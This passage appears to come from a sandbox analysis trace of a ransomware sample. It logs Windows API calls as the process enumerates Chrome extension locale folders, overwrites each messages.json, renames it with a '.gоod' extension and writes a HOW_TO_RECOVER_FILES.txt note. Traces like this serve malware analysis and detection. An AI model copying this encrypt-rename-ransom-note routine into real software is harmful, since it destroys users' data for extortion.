ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0238.624] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0238.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0238.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0238.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0238.624] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es", lpFilePart=0x0) returned 0x7b [0238.624] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe839526d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839eec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe839eec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0238.624] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe839526d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839eec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe839eec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.625] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe839eec2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839ee72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0238.625] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe839eec2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839ee72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0238.625] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0238.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0238.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0238.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json", lpFilePart=0x0) returned 0x89 [0238.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0238.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x381d850 | out: lpFileInformation=0x381d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe839eec2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839ee72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcc)) returned 1 [0238.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0238.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json", lpFilePart=0x0) returned 0x89 [0238.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0238.626] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.626] GetFileType (hFile=0x860) returned 0x1 [0238.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0238.626] GetFileType (hFile=0x860) returned 0x1 [0238.626] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xcc [0238.626] ReadFile (in: hFile=0x860, lpBuffer=0x381dcd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x381dcd8*, lpNumberOfBytesRead=0x209ebc98*=0xcc, lpOverlapped=0x0) returned 1 [0238.627] CloseHandle (hObject=0x860) returned 1 [0238.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json", lpFilePart=0x0) returned 0x89 [0238.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0238.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.721] GetFileType (hFile=0x768) returned 0x1 [0238.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0238.722] GetFileType (hFile=0x768) returned 0x1 [0238.722] WriteFile (in: hFile=0x768, lpBuffer=0x36e5d38*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x36e5d38*, lpNumberOfBytesWritten=0x209ebba8*=0xd0, lpOverlapped=0x0) returned 1 [0238.725] CloseHandle (hObject=0x768) returned 1 [0238.725] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json", lpFilePart=0x0) returned 0x89 [0238.725] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0238.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0238.725] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe839eec2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839ee72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a80f3b9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0238.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0238.725] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.gоod")) returned 1 [0238.726] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0238.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0238.726] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0238.727] GetFileType (hFile=0x768) returned 0x1 [0238.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0238.727] GetFileType (hFile=0x768) returned 0x1 [0238.727] WriteFile (in: hFile=0x768, lpBuffer=0x36ea6b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x36ea6b0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0238.728] CloseHandle (hObject=0x768) returned 1 [0238.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0238.729] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419", lpFilePart=0x0) returned 0x7f [0238.729] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83b0041, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83bea73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83bea73, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0238.729] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83b0041, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83bea73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83bea73, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.729] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83bea73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83c1152, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0238.729] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0238.729] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0238.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0238.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0238.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0238.730] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419", lpFilePart=0x0) returned 0x7f [0238.730] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83b0041, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83bea73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83bea73, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0238.730] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83b0041, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83bea73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83bea73, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.730] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83bea73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83c1152, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0238.730] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83bea73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83c1152, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0238.730] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0238.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0238.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0238.731] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json", lpFilePart=0x0) returned 0x8d [0238.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0238.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x36fa750 | out: lpFileInformation=0x36fa750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83bea73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83c1152, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe3)) returned 1 [0238.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0238.731] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json", lpFilePart=0x0) returned 0x8d [0238.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0238.732] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.732] GetFileType (hFile=0x768) returned 0x1 [0238.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0238.732] GetFileType (hFile=0x768) returned 0x1 [0238.732] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xe3 [0238.732] ReadFile (in: hFile=0x768, lpBuffer=0x36fac00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x36fac00*, lpNumberOfBytesRead=0x209ebc98*=0xe3, lpOverlapped=0x0) returned 1 [0238.733] CloseHandle (hObject=0x768) returned 1 [0238.760] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json", lpFilePart=0x0) returned 0x8d [0238.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0238.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.761] GetFileType (hFile=0x768) returned 0x1 [0238.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0238.761] GetFileType (hFile=0x768) returned 0x1 [0238.761] WriteFile (in: hFile=0x768, lpBuffer=0x3778a60*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3778a60*, lpNumberOfBytesWritten=0x209ebba8*=0xf0, lpOverlapped=0x0) returned 1 [0238.762] CloseHandle (hObject=0x768) returned 1 [0238.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json", lpFilePart=0x0) returned 0x8d [0238.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.gоod", lpFilePart=0x0) returned 0x92 [0238.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0238.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83bea73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83c1152, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a85b5a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0238.762] 